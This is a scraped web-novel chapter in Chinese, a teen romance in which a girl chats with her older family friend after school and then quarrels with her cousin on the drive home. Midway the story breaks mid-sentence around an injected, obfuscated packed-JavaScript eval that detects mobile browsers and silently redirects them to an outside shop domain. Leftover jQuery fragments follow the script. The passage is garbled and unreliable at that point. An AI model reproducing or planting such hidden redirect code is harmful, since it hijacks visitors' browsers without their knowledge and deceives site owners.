文趣网 > 都市小说 > 我被竹马当猫养了? > 47. 受宠若惊
    【呼吸一大口氧气:尤其是在我们班同学面前。小鹿划重点jpg.】

    【H:你哥是比你高四级,不是死了。】

    【H:果然你就是嫌弃我了,想跟我保持距离。】

    【H:哪里做的让你不高兴了,我改。】

    【呼吸一大口氧气:没有!】

    对面明显急了,一连发来好几条消息。

    【呼吸一大口氧气:我哪有嫌弃哥,不许污蔑我。小鹿流泪jpg.】

    【呼吸一大口氧气:哥对我来说一直是家人般的存在。能在青云见到哥,我真的很开心。】

    【呼吸一大口氧气:只是哥太受欢迎了......】

    【呼吸一大口氧气:我只想安安静静地读完中学。】

    看到黎昭夏发来的最后一条消息,商迟鹤悬在屏幕上方的手指一顿,垂眸凝思。

    【呼吸一大口氧气:哥,你不会生气了吧……】

    见商迟鹤许久没回消息,黎昭夏弱弱地发来一句。

    【H:没。】

    【H:这事怪哥。】

    商迟鹤手敲打着屏幕上的二十六键,发去一条消息。

    【H:但别把你哥想成洪水猛兽。】

    如果他的出现会让小姑娘感到为难,那他等对方感到有安全后,再和她见面。

    ……

    “迟鹤,来打球啊,四缺一。”篮球场上传来一道大嗓门,潭易洲喊得整个球场都听得见。

    商迟鹤头也不回,摆了摆手:“不了,我妹放学了,跟她聊几句。”

    “妹妹来啦?我也来……”潭易洲刚想凑过来跟黎昭夏打声招呼,下一秒被队友拉走。

    “去哪,人凑齐了,开打。”

    “妹妹啊,咱俩下次再见面。”潭易洲扬手一挥。

    从商迟鹤身后探出头的黎昭夏强忍着笑意朝他挥手再见。

    说话好逗的学长,感觉对方下一秒手里会拎个红手绢晃。

    视线一暗,黎昭夏仰头站在她面前的商迟鹤。

    她乖巧地喊道:“哥。”

    “今天怎么没跟朋友一起放学?”商迟鹤问。

    “因为我想来看看哥呀。”听出她哥话音里的一丝不悦,黎昭夏笑逐颜开地凑上前,“好久没见到哥,我很想哥。”

    “你可拉倒吧,”商迟鹤半弯下腰,屈手在女孩额头一点,嗓音含笑,“黄鼠狼给鸡拜年,准没安好心。”

    “哥干嘛说自己是黄鼠狼?”黎昭夏说。

    听到这个回答的商迟鹤剑眉上挑,不错,现在终于会把话锋转到别人身上了。

    “功课能跟上吗?”他问。

    “能。”黎昭夏点点头。

    幸好自己在暑假期间提前预习初一上学期的课本,再加上商迟鹤把她遇到的晦涩难懂的知识点都掰碎了细细教给她。

    现在她完全跟得上老师的教学进度,甚至在做完练习册的预习章节之后,正式练习也能保持百分之九十以上的正确率。

    “哥哥,为什么你两周才出来打一次球?”黎昭夏问。

    “没想到夏儿这么关注哥哥,让我着实有些受宠若惊。”商迟鹤双手插兜,逗她。

    黎昭夏:又来。

    “高中两周放一次假,不放假的那周周五下午只有两节课,所以我才有时间来篮球场打球。”

    黎昭夏点点头,看向商迟鹤的眼神里带上同情:“哥,你们好惨哦。”

    商迟鹤唇角勾起,顺着黎昭夏的话说:

    “是呢。不过能和夏儿聊聊天感觉好像也没有那么惨了。手伸出来。”

    不明所以的黎昭夏乖乖伸出手。

    商迟鹤从口袋里拿出一块藏色四四方方的盒子,从中拿出一枚手表。

    “妈前阵子拉着钟奶奶去南城旅游,买了一堆的纪念品,千叮咛万嘱咐让我一定要把这块手表带给你。”商迟鹤说,“抬手。”

    黎昭夏抬起手,手腕朝上,皮肤底下能看见细细的青色血管。

    她看着高她一头的少年低头,手指捏着表带的扣眼,找到一个合适的位置按下去。乌发入她视线,黎昭夏鬼使神差地上手摸了摸。

    手感像狐狸玩偶的毛发一般顺滑。

    商迟鹤手里动作一顿,掀起眼皮,歪头,“干什么?”

    “没干什么。”黎昭夏心虚地把手背在身后,转移注意力地说,“表盘是青鸟图案的诶,哥。”

    一只青鸟栖息在表盘正中央,翅膀张开,大有翱翔于天地肆意飞翔的感觉。

    表带是金属链条的设计,少女手腕纤细白皙,中和了链条带来的锋利感。

    “好看。”商迟鹤盯着女孩纤细手腕看了半响,抬手捏捏她的脸。

    黎昭夏一脸懵地看他,“肿么了?”

    “你是竹子精吗?这么瘦。”万一感冒了,要遭不少罪。商迟鹤老妈子似的叮嘱。“多吃点饭。”

    黎昭夏推开他的手,揉揉自己的脸颊,咕哝道:“我知道。”

    她每天跟温筱雯去食堂,对方食欲极好,每次都会点一荤两素,大口吃饭。黎昭夏在她的“民以食为天”的带动下,也吃了不少饭。

    太阳渐渐西沉,原本在操场上散步的学生人数减少。绿树枝头上的麻雀叽叽喳喳地叫着,同初中部最后的放学声交响在一起。

    “天色不早了,”商迟鹤跟小时候一样,拎起黎昭夏的书包单肩背着,“我送你到校门口。”

    “好,我自己......”黎昭夏抬手想自己拎着书包,在对上她哥淡淡扫过来的视线,她又把手缩回去,“我自己一个人走也是走。”

    “下下周还能像今天这样聊天吗?”商迟鹤目光落在女孩的侧脸,“见你一面还挺不容易。”

    听到这话,黎昭夏先是惊讶地愣住,随后“噗哧”笑出声。

    她挽住商迟鹤的手臂,亲昵地晃动,“好嘛好嘛,我们不一直是这样聊天的么?”

    见商迟鹤脸上仍略布乌云,黎昭夏食指戳上他脸颊,手动扬起一个微笑。

    “这样傻死了。”商迟鹤嘴上虽说得很嫌弃,但还是没挥开女孩的手。

    小路两道的灯光亮起,把两人的影子拉长,投在灰白色的地面上。

    “哥,我好久没见福宝了,福宝最近怎么样?”黎昭夏边走边问。

    “最近镇上偷狗贼比较多,”商迟鹤配合着她的步速,“这段时间钟奶奶没让它出家门,一直呆在后院里。”

    听到这消息,黎昭夏秀气的脸蛋浮上一丝担忧。她听飞飞提过偷狗贼,这帮人不止偷镇上的狗,还会偷羊偷鹅,把它们卖到别处换钱。

    “没事,”商迟鹤猜到她在想什么,“别小看福宝,它的战绩已经远近闻名,没人敢动它。”

    约莫是黎昭夏八岁的时候,那段时间偷窃的人特别多,镇上的居民一大半家里遭贼。

    有天贼翻墙来到钟素英家,还没走到堂屋,已经被一早听到动静,进入战斗状态的福宝追赶,吓得这贼狼狈地翻墙想要逃跑。

    奈何福宝过于凶猛,围着贼一通犬吠。等贼腿软的好不容易翻墙出来,又被听到狗叫声邻居围住,送到警察局。

    ......

    暮色四合,天边最后一点红沉下去,亮起来的路灯把校门口照得暖意融融。来接孩子的汽车排成长队等在校外,有默契地保持着安静,没有一声鸣笛声响起。

    “好好吃

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634485|206521||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    饭,再长高一点,听到吗?”校门口的保安亭处,商迟鹤帮黎昭夏把书包背好。

    “嗯嗯。”黎昭夏点头,朝商迟鹤挥手。“哥哥再见。”

    “下次见。”

    黎昭夏朝校外走出去几步,又没忍住回头看了一眼。商迟鹤还站在原处,暮色里,他背着光,脸上的轮廓被灯光的余晖映得几分柔和。

    见她回头,他抬起手挥了挥。

    ......

    初中部每周五下午五点二十放学,黎一艨会跟朋友打球到六点,才会慢悠悠地出现在校门口。

    所以黎昭夏从不急着往车里赶,这多出来的四十分钟足够她见一面她哥,甚至能聊好长一会儿。

    “章叔叔晚上好。”黎昭夏照常拉开车后门,对司机打声招呼。

    等她看清车后座坐着的人时,探进车内的身子一顿。

    “你还进不进来?”黎一艨看过来,烦躁地说。“不坐就自己走回家。”

    黎昭夏低头看一眼左手的手表,五点五十。

    她收回目光,坐进后座,把书包放在身侧,对司机说:“不好意思,章叔叔,我来晚了。”

    “没事儿,小姐。”章凯恭敬地应道,“您系好安全带。”

    在黎昭夏系好安全带后,车子引擎低沉地响一阵,汽车平稳地行驶上马路。

    车内寂静无比,黎昭夏视线看向车窗外不断倒退的重重树影,霓虹灯一盏一盏地亮起来,流动的灯光映在车窗玻璃上。

    一道审问意味极强的声音响起来,“那人是谁?”

    后座另一端,黎一艨板着脸,嘴唇紧抿成一条直线。

    黎昭夏偏头看他一眼,她收回目光,没说话。

    等半分钟没等到回答的黎一艨脸色变得难看起来。今天下午听说教导主任在操场上抓小情侣,为了避免惹是生非,他和几个朋友换了场地,跑到高年级部附近的篮球场。

    结果刚到场地,他就看见黎昭夏站在球场外围,和一个高个子男生有说有笑,举止亲昵。两个人站在一起,画面莫名刺眼。

    这是黎一艨从未见过笑得如此开心的黎昭夏。

    对方明明在家里永远是一座暖不热的冰山,对他疏离冷漠,不爱搭理。怎么偏偏在这人面前笑得这么灿烂。

    他是谁?男朋友吗?

    黎一艨心里有股子说不上来的不舒服。

    “你为什么不说话?”黎一艨语气里夹着怒意。

    “是谁也跟你没关系。”黎昭夏心里叹一口气,淡淡开口。

    她看向他的眼神很是平淡,没有生气,没有厌烦,如同在看一个陌生人。

    黎一艨被这个眼神刺了一下,攒起来的怒气像泄了气的皮球一样瘪下去。

    他张了张嘴,想说些话试图让两人关系变得好一些,可又实在不知道该说什么。

    “我只是问问,”黎一艨找补道,声音低下去,刚才一股子硬气烟消云散,“舅妈不就是撕了你几封信吗,至于吗。”

    他说完这句话,听到黎昭夏轻笑一声。

    女孩脸上还留存着几分稚气,总让人误以为她是没有自己思想的小孩。

    “真好。希望下次她未经你允许,把你所有汽车模型一把火烧了,也有人替她说一句‘至于吗’。”

    说完这句话,黎昭夏偏过头,看向窗外城市的街景,不再理会他。

    “你!”黎一艨盯着她的后脑勺,心底涌上一股说不清的烦躁。

    他哪里说错话了吗?

    他气得踹了一脚驾驶座的后背,也扭向另一侧。

    车内里再没人说话,只有窗外模糊的车声和偶尔一声喇叭,闷闷地从紧闭的车窗外传进来。